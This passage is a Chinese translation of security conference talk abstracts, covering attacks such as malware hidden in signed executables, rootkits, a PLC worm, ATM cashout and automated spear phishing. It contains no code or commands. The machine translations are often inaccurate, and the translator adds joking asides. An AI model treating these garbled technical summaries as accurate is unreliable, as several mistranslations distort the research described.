【摘要】本文提出了一个新的策略大幅度提高了在获得执行之前阻止利用,防止绕过缓解的机率。介绍了一种新的跨平台,硬件辅助的控制流完整性(CFI)方法,以减轻对Intel架构的控制流劫持攻击。同时介绍了研究方法,结果和局限性,强调了面临主要障碍时所提出的新颖的解决方案,包括:正确跟踪Windows线程上下文交换;配置PMU中断传递而不跳过Microsoft的PatchGuard;在运行时发现PE和ELF文件中有效分支目的地的高效算法;以及在虚拟化环境中运行的影响。使用硬件辅助陷阱来监控程序执行并对错误预测的分支执行CFI策略的方法的有效性被实时证明。同时还提供了有关性能影响的收集指标以及该技术的现实应用。


【38】CERTIFICATE BYPASS: HIDING AND EXECUTING MALWARE FROM A DIGITALLY SIGNED EXECUTABLE

PRESENTED BY Tom Nipravsky

认证旁路:从数字签名的可执行文件中隐藏和执行恶意软件
【摘要】本文提出了一个通过数字签名的文件(虽然仍保持文件的有效证件)来隐藏恶意软件(加密和未加密的)的新技术,并且通过使用一个良性的可执行文件(一个反射的EXE加载器,从头写)来从内存中执行它。本文重点研究了PE文件结构,证书表,以及如何将数据注入表中,而不会损坏证书本身(该文件仍然会被视为有效的数字签名文件)。最后用实例展示如何通过查看证书表的方法绕过安全解决方案。


【39】CRIPPLING HTTPS WITH UNHOLY PAC

PRESENTED BY Itzik Kotler & Amit Klein

通过不满意的PAC(代理自动配置)使https协议瘫痪
【摘要】本文揭示了通过强制浏览器/系统使用一个恶意的PAC(代理自动配置)的资源,就有可能泄露https URL。解释了这种恶意攻击如何影响用户的隐私以及证书/会话如何被窃取。提出了PAC恶意软件的概念以及特点,以及一个全面的浏览器PAC特征矩阵,阐述了更多关于跨平台(Linux,Windows,Mac)和浏览器(IE、Chrome、Safari)的威胁。


【40】CUNNING WITH CNG: SOLICITING SECRETS FROM SCHANNEL

PRESENTED BY Jake Kambic

CNG中的诡计:从安全通道中得到秘密
【摘要】本文探讨了安全通道如何利用Microsoft的CryptoAPI-NG(CNG)来缓存用于TLS / SSL连接的主密钥,会话密钥,私有密钥和会话密钥。它讨论了底层数据结构,以及如何提取密钥和其他有用的信息,这些信息提供了关于连接的法律上下文,然后利用该信息解密使用短暂密钥交换的会话。


【41】CYBER WAR IN PERSPECTIVE: ANALYSIS FROM THE CRISIS IN UKRAINE

PRESENTED BY Kenneth Geers

网络战争远景:从乌克兰危机分析
【摘要】本文介绍了一个北约资助的研究项目,由20个国家安全和网络安全领导机构承担,揭示了恶意代码对于间谍和犯罪是非常有用的,探讨了计算机黑客是否具有战略效应,和平与战争中数字化行动的政治和军事限制是什么。


【42】DANGEROUS HARE: HANGING ATTRIBUTE REFERENCES HAZARDS DUE TO VENDOR CUSTOMIZATION

PRESENTED BY Nan Zhang

危险的Hare:挂起属性引用由于供应商用户化定制带来的危害
【摘要】由于安卓系统存在不同的用户自定义,一个恶意的应用程序可以通过伪装成在设备上使用但未被定义的属性的所有者来获取关键的系统功能。本文显示了这样的缺陷以及可能会带来严重的安全隐患,展示了一套自己开发的用于自动检测不同Android版本中的Hare缺陷的新技术。


【43】DARK SIDE OF THE DNS FORCE

PRESENTED BY Erik Wu

DNS力量的黑暗面
【摘要】本文介绍了新兴的基于DNS的攻击背后的一系列新的秘密武器,分析了互联网领域激增的根本原因,展示了一些真正的用例来说明域名对互联网的可用性和稳定性的影响。重点关注了随机子域武器的演变,通过解剖用于提高攻击强度并逃避侦测的核心技术和机制来解决这一挑战。讨论了多种级别的随机域,混合使用常数名称和随机字符串的技术,创新使用时间戳作为唯一域名,以及本地和全球升级。


【44】DEFENSE AT HYPERSCALE: TECHNOLOGIES AND POLICIES FOR A DEFENSIBLE CYBERSPACE

PRESENTED BY Jason Healey

超大规模防御:防御网络的技术和策略
【摘要】本文描述了最近一支工作队的成果,以确定最先进的技术、业务创新和公共策略,这些措施提供了规模化的安全措施,以赶上攻击者。认识到什么是最有效的,以及对如何重复这些成功的超大规模防御给出了建议。


【45】DEMYSTIFYING THE SECURE ENCLAVE PROCESSOR

PRESENTED BY Tarjei Mandt & Mathew Solnik & David Wang

解密SEP
【摘要】本文展示了SEP处理器和SEPOS的一些亮点,特别关注了SEP处理器的硬件设计和引导过程,以及SEPOS架构本身。还详细介绍了iOS内核和SEP如何使用复杂的邮箱机制交换数据,以及这些数据如何由SEPOS处理并转发到其服务和应用程序。最后评估了SEP攻击面,并强调了我们研究的一些发现,包括潜在攻击向量。


【46】DISCOVERING AND EXPLOITING NOVEL SECURITY VULNERABILITIES IN APPLE ZEROCONF

PRESENTED BY Luyi Xing & Xiaolong Bai

发现和开发APPLE零配置中新的安全漏洞
【摘要】本文首先系统研究了ZeroConf技术对苹果系统的安全性影响。研究揭示了Apple平台上的主要ZeroConf框架大多是无保护的,容易受到假冒或中间人攻击。突出了ZeroConf技术的基本安全挑战。发布了对Apple ZeroConf技术攻击的技术细节,同时以Airdrop,Bonjour和Multiper Connectivity为例来展示其设计和实现中的漏洞,以及如何入侵这些ZeroConf框架和系统服务从而执行中间人攻击。最后展示一些由于TLS无法在ZeroConf场景中保护设备间通信而引起的漏洞。


【47】DOES DROPPING USB DRIVES IN PARKING LOTS AND OTHER PLACES REALLY WORK?

PRESENTED BY Elie Bursztein

在停车场和其他地点丢置USB驱动器是否真的有用?
【摘要】本文通过调查,深入分析哪些因素影响用户拿起驱动器,为什么用户插入驱动器,以及演示一个可以帮助减轻USB攻击的新工具。


【48】DPTRACE: DUAL PURPOSE TRACE FOR EXPLOITABILITY ANALYSIS OF PROGRAM CRASHES

PRESENTED BY Rodrigo Rubira Branco & Rohit Mothe

DPTRACE:双目标跟踪程序崩溃的可行性分析
【摘要】本文改进了程序崩溃分析领域的现有工具和方法,提出了本质上是后向和前向污染传播系统的组合,利用这两种方法并将它们集成到一个单一的框架中。讨论了作者开发的两个功能工具的概念和实现,并讨论了集成它们的好处。最后演示了使用集成工具DPTrace公开0-day漏洞,包括发现的一些工具,分析/开发和报告。


【49】DRONE ATTACKS ON INDUSTRIAL WIRELESS: A NEW FRONT IN CYBER SECURITY

PRESENTED BY Jeff Melrose

无人机攻击工业无线:网络安全的新前沿
【摘要】本文介绍了电子威胁、电子防御措施、最近的电子干扰事件、最新的无人驾驶飞机威胁和能力、防御计划和以无人驾驶飞机作为运载平台的电子攻击威胁。


【50】DUNGEONS DRAGONS AND SECURITY

PRESENTED BY Tiphaine Romand Latapie

地下龙与安全
【摘要】本文提供了计算机安全基本原理的新方法。培训围绕一个角色扮演游戏开发的,其中包括攻击和捍卫建筑物。通过汇报来突出显示游戏和计算机安全风险之间的所有相似之处。重点介绍了培训的主要特点,并将提供一个解释如何进行此类培训的白皮书。

passpasspass boringggggggg


【51】EXPLOITING CURIOSITY AND CONTEXT: HOW TO MAKE PEOPLE CLICK ON A DANGEROUS LINK DESPITE THEIR SECURITY AWARENESS

PRESENTED BY Zinaida Benenson

利用好奇心和情境:如何让人们不顾安全意识点击危险链接
【摘要】本文通过调查发现用户无错误的决策似乎是非常不现实的,即使他们被提供有效的意识培训。因此,需要仔细评估提高针对钓鱼网络钓鱼的安全意识的所有利弊。从长远来看,依靠技术深度防御可能是一个更好的解决方案。


【52】GATTACKING BLUETOOTH SMART DEVICES - INTRODUCING A NEW BLE PROXY TOOL

PRESENTED BY Slawomir Jasek

gattacking蓝牙智能设备:引入新的代理工具
【摘要】本文发现很多蓝牙设备由于场景不同,很少使用BLE规范中的安全机制,这样利用简单的技巧,便可以欺骗使用者。基于几个例子展示了可能的利用漏洞的常见缺陷,提出了减轻攻击的最佳做法,开发了一个免费的开源工具BLE MITM代理。


【53】GREATFET: MAKING GOODFET GREAT AGAIN

PRESENTED BY Michael Ossmann

GREATFET: 让GOODFET再次变得很棒
【摘要】 GoodFET是区分世界各地硬件黑客的首选开源工具,包括太多不同的硬件设计。本文通过移动了一些更高级的东西来替代整个项目,使goodfet变得更好。


【54】HACKING NEXT-GEN ATMS: FROM CAPTURE TO CASHOUT

PRESENTED BY Weston Hecker

hacking下一代ATM:从捕获到兑现
【摘要】本文演示了2000美元的投资如何执行无人值守的“现金支出”,同时也介绍了EMV实施过程中的失败情况,以及未来信用卡数据如何最有可能与新的EMV数据一起出售。另外,包括一个“La-Cara”的演示,这是一款适用于当前EMV和NFC自动柜员机的自动出货机。


【55】HACKPROOFING ORACLE EBUSINESS SUITE

PRESENTED BY David Litchfield

Oracle电子商务套件的防盗
【摘要】甲骨文电子商务套件最近的一项安全评估表明,它易受到一些(未经身份验证的)远程代码执行缺陷,大量SQL注入漏洞和跨站脚本错误的影响。本文通过示范漏洞来研究这些弱点,然后研究如何保护自己的系统免遭这些攻击。


【56】HARDENING AWS ENVIRONMENTS AND AUTOMATING INCIDENT RESPONSE FOR AWS COMPROMISES

PRESENTED BY Andrew Krug & Alex McCormack

加强AWS环境和自动化对AWS损害的应急响应
【摘要】本文讨论了云事件响应的范例,并介绍了一种自动化收集受损主机取证证据的工具。它强调了正确配置AWS环境的需要,并提供了一个工具来帮助配置过程,还提供额外的工具帮助在AWS密钥泄密的情况下恢复AWS帐户。


【57】HEIST: HTTP ENCRYPTED INFORMATION CAN BE STOLEN THROUGH TCP-WINDOWS

PRESENTED BY Tom Van Goethem & Mathy Vanhoef

HEIST:HTTP加密的信息可以通过tcp-windows被盗
【摘要】本文引入了HEIST,一套新颖的攻击技术,将网络级别的攻击带入浏览器,对我们的在线安全和隐私构成迫在眉睫的威胁。HEIST可以利用用浏览器以及底层的HTTP,SSL/TLS和TCP层中的弱点和微妙之处。最重要的,发现了一个旁路通道攻击,可以泄漏任何交叉起点响应的确切大小,此侧信道滥用在TCP级别发送响应的方式。


【58】HORSE PILL: A NEW TYPE OF LINUX ROOTKIT

PRESENTED BY Michael Leibowitz

HORSE PILL:一种新型的LINUX ROOTKIT
【摘要】本文介绍了一种新的Linux Rootkit,通过恶意地利用Linux容器的底层技术元素,得益于几乎所有的Linux系统启动方式,甚至能感染并持续存在在UEFI安全启动的系统中。这种方法没有恶意内核模块,也不需要签名。受感染的系统有一个几乎看不见的后门,可以通过一个隐蔽的网络通道远程控制。


【59】HTTP COOKIE HIJACKING IN THE WILD: SECURITY AND PRIVACY IMPLICATIONS

PRESENTED BY Suphannee Sivakorn & Jason Polakis

Htpp cookie在野外劫持:安全和隐私的意义
【摘要】本文对各种主要网站进行了深入评估,并探讨哪些功能和信息暴露给已经劫持用户HTTP Cookie的攻击者。对cookie劫持的研究揭示了一些严重的缺陷,探讨了用户如何保护自己,而EFF的HTTPS Everywhere扩展等机制可以减少攻击面。


【60】HTTP/2 & QUIC - TEACHING GOOD PROTOCOLS TO DO BAD THINGS

PRESENTED BY Catherine (Kate) Pearce & Carl Vincent

HTTP/2&QUIC - 教导好的协议做坏的事情
【摘要】本文简要介绍了QUIC和HTTP/2,涵盖MPTCP以外的多路复用攻击,讨论如何在QUIC和HTTP/2中使用这些技术,并讨论如何理解和防御网络上的H2/QUIC流量。另外,展示并发布一些使用这些技术的工具。


【61】I CAME TO DROP BOMBS: AUDITING THE COMPRESSION ALGORITHM WEAPON CACHE

PRESENTED BY Cara Marie

我想要消除炸弹:审查压缩算法武器高速缓存
【摘要】本文除了介绍压缩算法审计之外,正在生成一个庞大的工具库(“炸弹”),可以由安全研究人员和开发人员用来在各种应用/协议中测试此漏洞。这些炸弹是根据开源许可证发布的。


【62】INTO THE CORE - IN-DEPTH EXPLORATION OF WINDOWS 10 IOT CORE

PRESENTED BY Paul Sabanal

进入核心 - 深入探索WINDOWS 10物联网核心
【摘要】本文首先讨论操作系统的内部部件,包括与台式机版本共享的安全特性和缓解。然后列举运行Windows 10 IoT Core的设备的攻击面,以及它对恶意软件的潜在易感性。讨论评估运行Windows 10 IoT Core的设备的安全性的方法,如静态/动态逆向工程和模糊。最后给出关于如何保护Windows 10 IoT Core设备的一些建议。


【63】INTRA-PROCESS MEMORY PROTECTION FOR APPLICATIONS ON ARM AND X86: LEVERAGING THE ELF ABI

PRESENTED BY Sergey Bratus & Maxwell Koo & Julian Bangert

位于ARM和X86架构上的应用程序的进程内存保护:引导ELF ABI
【摘要】本文演示了ELFbac,一个使用Linux ELF ABI来表达程序组件(如库)之间的访问控制策略的系统,并且不需要对GNU构建链进行任何更改。它通过使用修改的Linux加载程序和Linux虚拟内存系统来实施这些策略。ELFbac策略在ELF对象文件部分的级别上运行。开发了ARM和x86的原型,使用ARM原型来保护DNP3(一种流行的ICS协议)的验证代理防火墙,以及x86为Nginx编写基本策略。最后还将展示保护OpenSSH的政策。


【64】IRAN’S SOFT-WAR FOR INTERNET DOMINANCE

PRESENTED BY Claudio Guarnieri & Collin Anderson

伊朗为了互联网主宰地位的软战
【摘要】本文深入分析近几年来对伊朗威胁行为者的入侵活动的调查结果,特别是对民间社会成员的攻击活动。


【65】KEYSTONE ENGINE: NEXT GENERATION ASSEMBLER FRAMEWORK

PRESENTED BY Nguyen Anh Quynh

KEYSTONE引擎:下一代汇编程序框架
【摘要】本文介绍了一些现有的汇编框架,然后详细介绍他们的设计/实现,并解释他们目前的问题。接着介绍了Keystone的架构以及设计和实现它的挑战,帮助大家了解keystone引擎的优势。


【66】LANGUAGE PROPERTIES OF PHONE SCAMMERS: CYBERDEFENSE AT THE LEVEL OF THE HUMAN

PRESENTED BY Judith Tabron

电话骗子的语言特性:在人类水平的网络防御
【摘要】本文简要介绍和解释了IRS诈骗电话中的极地标签问题,话题控制,问题推迟和不规范的叙事结构,并为在电话过程中识别这种语言属性提供一些起点,以帮助改善人类水平。


【67】MEMORY FORENSICS USING VIRTUAL MACHINE INTROSPECTION FOR CLOUD COMPUTING

PRESENTED BY Tobias Zillner

利用虚拟机内省进行云计算的内存取证
【摘要】本文开发了一种实用的方法,在取证调查时为用户提供额外的能力。该解决方案侧重于内存取证服务提供,自行开发的内存取证服务安装在每个云节点上,并通过云管理组件进行管理,是此解决方案的基础。取证数据是通过虚拟机内省技术获得的,与其他方法相比,可以在不影响运行系统的情况下获得可靠的数据。此外,还提供了有关底层技术的一般概述,并讨论了利弊。先讨论解决方案的方法,并在原型中实际实现。在这个原型中,OpenNebula和Xen虚拟化组件组合一起用来管理云基础设施,libvmi作为虚拟机自省库,volatility作为取证工具。


【68】NEXT-GENERATION OF EXPLOIT KIT DETECTION BY BUILDING SIMULATED OBFUSCATORS

PRESENTED BY Tongbo Luo & Xing Jin

通过建立模拟的模糊处理程序开发下一代漏洞利用工具包检测
【摘要】本文重建了6个漏洞利用工具包(Angler,Nuclear,Rig,Magnitude,Neutrino,SweetOrange)。讨论了我们的设计来实施漏洞利用套件使用的模糊处理程序,希望开源我们的模糊处理程序来使研究受益,其目的是为网络世界提供更好的保护。同时利用我们的模糊处理程序进行了一系列的试验,得到了一些结果。


【69】NONCE-DISRESPECTING ADVERSARIES: PRACTICAL FORGERY ATTACKS ON GCM IN TLS

PRESENTED BY Sean Devlin & Hanno Böck & Aaron Zauner & Philipp Jovanovic

NONCE-不尊重对手:实际的伪造攻击在TLS GCM
【摘要】本文使用TLS中使用的GCM算法来研究非重用问题。GCM中的Nonce重用允许攻击者按照Joux的描述恢复认证密钥和伪造消息。我们实现了一个概念验证攻击,使我们能够违反受影响的HTTPS连接的真实性和注入内容。


【70】O-CHECKER: DETECTION OF MALICIOUS DOCUMENTS THROUGH DEVIATION FROM FILE FORMAT SPECIFICATIONS

PRESENTED BY Yuhei Otsubo

O-CHECKER:通过文件格式规定的偏差检测恶意文件
【摘要】本文通过关注于文件格式规范的偏离和检查隐藏可执行文件的隐藏技术,分类八个异常结构,并创建一个名为o-checker的工具来检测它们。


【71】OSS SECURITY MATURITY: TIME TO PUT ON YOUR BIG BOY PANTS!

PRESENTED BY Jake Kouns & Christine Gadsby

开源软件的成熟度:是时候穿上你的大裤衩了(((哈哈哈哈百度翻译好牛逼
【摘要】本文介绍了使用OSS的真正风险以及管理其在组织内使用的最佳方式,更具体地说是产品开发生命周期,以减少维护成本。提出了一个定制的OSS成熟度模型,并对组织开发软件的成熟阶段进行探讨,以了解它们如何对OSS所带来的风险进行优先级划分和内部化。


【72】OUROBOROS: TEARING XEN HYPERVISOR WITH THE SNAKE

PRESENTED BY Shangcong Luan

Ouroboros:通过蛇撕碎XEN虚拟机管理程序
【摘要】本文在Xen虚拟机管理程序发现了一个关键的验证旁路错误,可以将此用来撕裂虚拟机管理程序。使用不同的攻击向量和有效载荷,恶意的PV客户端操作系统不仅可以控制虚拟机管理程序,还可以控制在当前平台上运行的所有其他客户机操作系统。


【73】PANGU 9 INTERNALS

PRESENTED BY Tielei Wang & Hao Xu & Xiaobo Chen

盘古9的内部细节
【摘要】盘古9是iOS 9的第一个(而且仅有的)无限制越狱工具,它利用了iOS用户界面中的一系列漏洞,在内核中实现最终的任意代码执行,并持续执行代码签名旁路。本文揭示盘古9的内部细节,解释盘古9如何通过系统调试功能在沙箱外获得任意代码执行。然后,在加载dyld_shared_cache文件的过程中阐述一个漏洞,该文件使盘古9能够实现持久代码签名旁路。


【74】PINDEMONIUM: A DBI-BASED GENERIC UNPACKER FOR WINDOWS EXECUTABLE

PRESENTED BY Sebastiano Mariani & Lorenzo Fontana

PINDEMONIUM:一种基于DBI通用的Windows可执行文件的解压器
【摘要】本文对解包问题进行了深入研究,并提出了几项工作,用于增强最终用户的保护和支持恶意软件分析人员的工作。本文探讨了利用DBI框架的功能的可能性,因为它提供了在分析过程中有用的大量功能:它允许通过高级API对指令级别进行粒度检查和修改,从而使分析人员完全控制程序被装载。设计了一个通用的解包算法,该算法试图从它的包装工具版本重建工作PE,并试图打败最常用的IAT混淆技术。为了验证我们的工作进行了两个实验来证明其一般性和有效性。


【75】PLC-BLASTER: A WORM LIVING SOLELY IN THE PLC

PRESENTED BY Ralf Spenneberg & Maik Brüggemann & Hendrik Schwartke

PLC-BLASTER:一种在PLC中独自生活的蠕虫
【摘要】本文展示并演示第一个PLC蠕虫。我们的PLC蠕虫用SCL编程语言编写,将扫描并危及西门子Simatic S7-1200 v1-v3 PLC,无需任何外部支持。


【76】PWNING YOUR JAVA MESSAGING WITH DESERIALIZATION VULNERABILITIES

PRESENTED BY Matthias Kaiser

PWN你的java消息通过反序列化漏洞
【摘要】本文展示各种java消息API实现和反序列化漏洞的攻击面,同时java通讯开发工具(JMET)被提供给大家用来帮助识别和利用message-consuming系统。


【77】RECOVER A RSA PRIVATE KEY FROM A TLS SESSION WITH PERFECT FORWARD SECRECY

PRESENTED BY Marco Ortisi

从具有完全前向保密性的TLS会话中恢复RSA私钥
【摘要】本文解释了攻击背后的理论,发布了能够在被动模式(即仅通过嗅探网络流量)和主动模式(即直接参与建立TLS握手)的概念验证。


【78】SAMSUNG PAY: TOKENIZED NUMBERS FLAWS AND ISSUES

PRESENTED BY Salvador Mendoza

三星支付:符号数字的缺陷和问题
【摘要】Samsung Pay试图为客户提供安全,这个应用程序是一个复杂的机制,其安全性有一些限制。使用随机标记号码和实施磁安全传输(MST)技术,这并不能保证用Samsung Pay生成的每个令牌都可以应用于使用相同的三星设备进行购买。这意味着攻击者可以从Samsung Pay设备中窃取令牌,并且无限制地使用它。


【79】SECURE PENETRATION TESTING OPERATIONS: DEMONSTRATED WEAKNESSES IN LEARNING MATERIAL AND TOOLS

PRESENTED BY Wesley McGrew

安全渗透测试操作:学习材料和工具中的呈现的弱点
【摘要】本文探讨了用于培训渗透测试人员的广泛的学习材料是否导致对客户数据和渗透测试操作的保护不足。并演示劫持渗透测试员正常做法的技巧,以及检查和保护当前测试程序的指导。


【80】SECURITY THROUGH DESIGN - MAKING SECURITY BETTER BY DESIGNING FOR PEOPLE

PRESENTED BY Jelle Niemantsverdriet

通过设计实现安全 - 通过为人们设计实现更好的安全
【摘要】本文探讨了我们通常如何创建我们的安全流程,团队和解决方案。研究了以经济,心理学或营销等其他学科为基础的以用户为中心的设计方法和概念,通过这些方法概念来帮助我们以真正可用的方式构建安全性。


【81】SGX SECURE ENCLAVES IN PRACTICE: SECURITY AND CRYPTO REVIEW

PRESENTED BY Jean-Philippe Aumasson & Luis Merino

实践中的SGX安全的enclaves:安全和保密审查
【摘要】本文是基于真正的支持SGX的硬件和英特尔软件开发环境对SGX的第一次公开评估。评估了SGX用户的攻击面和实际风险。然后介绍和演示使用SGX的安全功能的概念证明:安全的远程存储和授权(完全同态加密承诺,但实践太慢)和重新加密。了解基础架构如何提供功能强大的加密功能。最后发布代码以及一个工具用来提取和验证enclave元数据。


【82】SIDE-CHANNEL ATTACKS ON EVERYDAY APPLICATIONS

PRESENTED BY Taylor Hornby

日常应用上的侧信道攻击
【摘要】本文简要介绍了FLUSH + RELOAD攻击如何工作,以及如何用来构建输入区分攻击,并进行演示。提出FLUSH + RELOAD的侧面渠道不仅仅对于打破加密技术而言是有用的,也是开发更好的攻击的起点。


【83】SUBVERTING APPLE GRAPHICS: PRACTICAL APPROACHES TO REMOTELY GAINING ROOT

PRESENTED BY Liang Chen & Qidan He & Marco Grassi & Yubin Fu

颠覆苹果的图表算法:远程获取根的实用方法
【摘要】本文介绍了用户界面的Apple Graphics图形组件WindowServer,解释了三个典型安全漏洞的错误。接着涉及到内核攻击面,展示所有苹果图形驱动程序的封闭源核心图形管道组件中的漏洞,包括最新的芯片组,分析根本原因,并解释如何使用我们的“图形风格”开发技术。还提出一种新的内核堆喷射方式,比已知的方法更少的副作用和更可控的内容。
通过在OS X El Capitan上的一系列漏洞,分别利用用户界面图形和内核图形展示了两个远程获取根的现场演示。


【84】TCP INJECTION ATTACKS IN THE WILD - A LARGE SCALE STUDY

PRESENTED BY Gabi Nakibly

大规模的TCP注入攻击——大规模研究
【摘要】本文提出了一个大规模的互联网流量调查,研究虚假内容注入在网络上的做法。回顾并详细展示了今年早些时候发现的注入,另外,展示了新的非商业注入类型,确定背后的注入者以及其操作方式。最后,详细分析针对美国网站的针对性注入攻击。发现的攻击是使用带TCP注入错误数据包(而不是原始数据包的带内更改)完成的,故提出了一种新的客户端工具来检测注入事件,减轻对性能影响最小的这种攻击。


【85】THE ART OF DEFENSE - HOW VULNERABILITIES HELP SHAPE SECURITY FEATURES AND MITIGATIONS IN ANDROID

PRESENTED BY Nick Kralevich

防御的艺术-如何通过漏洞来帮助塑造安卓上的安全特性和缓解
【摘要】本文介绍了Android用户面临的威胁,同时使用以前的Black Hat会议和已发表的研究的具体例子,以及以前未发布的威胁。 对于这些威胁,将介绍包含该漏洞的特定技术控制,以及新增的Android N安全功能,以防未来的未知漏洞。最后,从何处着手制造安卓,以及整个计算机产业,让其更安全。


【86】THE ART OF REVERSE ENGINEERING FLASH EXPLOITS

PRESENTED BY Jeong Wook Oh

逆向工程flash利用的艺术
【摘要】本文提供两件事情:1.可用于逆向工程攻击的策略和调试技术。这包括使用现有的工具集并以有效的方式组合它们。 2.详细的利用代码逆向工程实例,可以帮助了解攻击和缓解战争的当前和过去状态。讨论技术细节,了解漏洞,如何利用这些漏洞以及供应商如何防范这些漏洞。


【87】THE BEAST WITHIN - EVADING DYNAMIC MALWARE ANALYSIS USING MICROSOFT COM

PRESENTED BY Ralf Hund

内部的野兽-利用微软com规避动态恶意软件分析
【摘要】本文介绍了自动化动态COM恶意软件分析的各个方面,并展示了哪些方法实际上是可行的,哪些方法从一开始就是无望的。展示了COM接口在恶意软件中已经被积极使用的情况。发现挂钩COM调用(或一般的API调用)使恶意软件能够轻松检测它在沙箱中运行。展示了如何使用基于转换的监视器来监视第一个接口层上的所有COM调用。


【88】THE REMOTE MALICIOUS BUTLER DID IT!

PRESENTED BY Tal Be’ery & Chaim Hoch

远程恶意管家做到了!
【摘要】本文揭示了“远程恶意管家”攻击,它显示了攻击者如何远程执行这样的攻击,以便对远程计算机进行完全的控制。深入了解攻击的技术细节,括流氓域控制器,客户端漏洞以及与之相关的Kerberos认证协议网络流量。最后分析了一些实用的针对流氓域控制器的通用检测和预防方法。


【89】THE RISK FROM POWER LINES: HOW TO SNIFF THE G3 AND PRIME DATA AND DETECT THE INTERFERE ATTACK

PRESENTED BY Lei Ji & Yunding Jian

电源线的风险:如何对G3和Prime数据进行嗅探,并检测干扰攻击
【摘要】本文讨论了如何在PLC通信系统中获取使用G3或Prime标准的PLC数据流,并讨论了如何在网络中检测攻击。最后重点讨论如何识别系统使用的标准以及如何在物理层上对PLC数据进行嗅探。


【90】THE TAO OF HARDWARE THE TE OF IMPLANTS

PRESENTED BY Joe FitzPatrick

硬件的道和植入的技术
【摘要】本文展示了几个简单的硬件植入,总结出一些潜在的设计决策,可以减少植入物的脆弱性,以及保护现有硬件系统免受篡改的方法。


【91】THE YEAR IN FLASH

PRESENTED BY Natalie Silvanovich

Flash的一年
【摘要】 本文描述了过去一年在Flash中发现的显著漏洞。从Flash攻击面的概述开始,然后讨论最常见的漏洞类型是如何工作的。最后讨论了Flash攻击的未来:可能出现新错误的领域以及现有缓解的影响。


【92】TIMING ATTACKS HAVE NEVER BEEN SO PRACTICAL: ADVANCED CROSS-SITE SEARCH ATTACKS

PRESENTED BY Nethanel Gelernter

时间攻击从未如此现实:高级的跨站点搜索攻击
【摘要】跨站点搜索(XS-search)是实用的定时侧信道攻击,允许从Web服务中提取敏感信息。本文着重于应对通货膨胀技术,增加响应的规模。还涉及到算法的改进,当通过定时侧信道没有信息泄漏时,可以使用二阶(SO)XS搜索,这是一种新型攻击,允许攻击者通过恶意种植来显著增加响应大小的差异并记录到存储。


【93】UNLEASH THE INFECTION MONKEY: A MODERN ALTERNATIVE TO PEN-TESTS

PRESENTED BY Ofri Ziv

释放感染猴:进行PEN测试的一种当前的选择
【摘要】本文开发了一种新的开源网络安全测试工具 - 感染猴,旨在从攻击者的角度彻底测试网络。展示了感染猴如何发现盲点,并证明了正在进行的全网安全测试为安全团队增添了强大的功能。重点关注目前为止一直处于行业“集体盲点”的漏洞。安全社区可以从破坏性的新型工具中获益,这些工具可以帮助验证安全解决方案部署,并揭示安全链中较弱的部分。


【94】USING AN EXPANDED CYBER KILL CHAIN MODEL TO INCREASE ATTACK RESILIENCY

PRESENTED BY Sean Malone

使用扩展的CYBER KILL链模型来增加攻击弹性
【摘要】CYBER KILL链模型提供了一个框架,以了解对手如何破坏周边从而获得对内部网络系统的访问。然而,这种模式可能会导致对周边安全的过度关注,从而损害内部安全控制。本文探索了一个扩展模型,包括Internal Kill Chain 和the Target Manipulation Kill Chain.


【95】USING EMET TO DISABLE EMET

PRESENTED BY Abdulellah Alsaheel & Raghav Pande

使用EMET到禁用EMET
【摘要】本文重点放在打击EMET(Microsoft的增强型缓解体验工具包)或任何其他代理机构的难易程度上。任何端点利用预防/检测解决方案的安全性取决于相同的地址空间验证,以及如何用自己的检查或通过规避和回避验证来打败它们。此外,它还将反映有针对性的EMET逃避,即攻击者知道EMET安装在受害机器上时的情况。


【96】USING UNDOCUMENTED CPU BEHAVIOR TO SEE INTO KERNEL MODE AND BREAK KASLR IN THE PROCESS

PRESENTED BY Anders Fogh & Daniel Gruss

使用未记录的CPU行为查看内核,并在过程中打破KASLR机制
【摘要】本文重点介绍了没有特殊权限的攻击者如何获得内核的洞察力,以及如何能够进一步破坏安全性。提出来一种方法,可以基于未记录的CPU行为,通过映射内核在内核模式区域中映射页面的位置以及定位特定内核模块的方法快速可靠地反思内核中的内存层次结构,并展示攻击者如何利用这些信息来对内核进行攻击并打破KASLR制作新的内存映射,然后使用多种方法在内核模式下运行未经授权的代码。


【97】VIRAL VIDEO - EXPLOITING SSRF IN VIDEO CONVERTERS

PRESENTED BY Nikolay Ermishkin & Maxim Andreev

病毒视频-在视频转换器中利用SSRF
【摘要】本文研究了在hls(m3u8)播放列表处理中利用SSRF攻击,展示了如何在ffmpeg中处理hls播放列表的实现细节,以及视频转换器中的SSRF如何能够基于像AWS这样的云端完成访问服务。介绍了检测并利用此漏洞的工具,同时展示了一个真正的“病毒”视频,可以对Facebook,Twitter等服务进行成功的攻击。


【98】VOIP WARS: THE PHREAKERS AWAKEN

PRESENTED BY Fatih Ozavci

VoIP的战争:phreakers被唤醒
【摘要】本文的目的是让响应和安全测试团队掌握VoIP网络前沿攻击,工具和漏洞的知识。另外,对于诸如云UC服务,商业服务,服务提供商网络和企业通信的各种实现,解释这些攻击的业务影响。通过演示介绍了保护和测试他们的通信基础设施和服务的方法。


【99】WEAPONIZING DATA SCIENCE FOR SOCIAL ENGINEERING: AUTOMATED E2E SPEAR PHISHING ON TWITTER

PRESENTED BY John Seymour & Philip Tully

武器化社会工程数据科学研究:自动化的端到端的鱼叉式网络钓鱼的推特
【摘要】本文提出了一个递归神经网络,学习推特针对特定用户的钓鱼帖子。该模型使用鱼叉式网络钓鱼pen测试数据进行训练,为了使点击更有可能,它会从目标和他们转发或关注的用户的时间轴帖子中提取主题动态播种。通过聚类来增强模型,以根据社交参与度的水平来确定高价值目标。总而言之,这些技术使得世界上第一个T自动化的端到端钓鱼网络钓鱼活动生成器用于Twitter。


【100】WEB APPLICATION FIREWALLS: ANALYSIS OF DETECTION LOGIC

PRESENTED BY Vladimir Ivanov

Web应用防火墙:检测逻辑的分析
【摘要】本文突出显示了Web应用程序防火墙(WAF)的核心:检测逻辑,具有正则表达式检测机制的重点。发布用于正则表达式分析的静态应用程序安全测试(SAST)工具,旨在发现正则表达式的狡猾语法中的安全漏洞。


【101】WHAT’S THE DFIRENCE FOR ICS?

PRESENTED BY Chris Sistrunk & Josh Triplett

工业控制系统(ICS)的数字取证和事件响应是什么?
【摘要】本文探讨在诸如可编程逻辑控制器(PLC),远程终端单元(RTU)和控制器等关键基础设施中使用的嵌入式设备的DFIR的基础知识。 如果这些被破坏或甚至出现误操作,我们将显示哪些数据在嵌入式系统中进行分析,以确定根本原因。


【102】WHEN GOVERNMENTS ATTACK: STATE SPONSORED MALWARE ATTACKS AGAINST ACTIVISTS LAWYERS AND JOURNALISTS

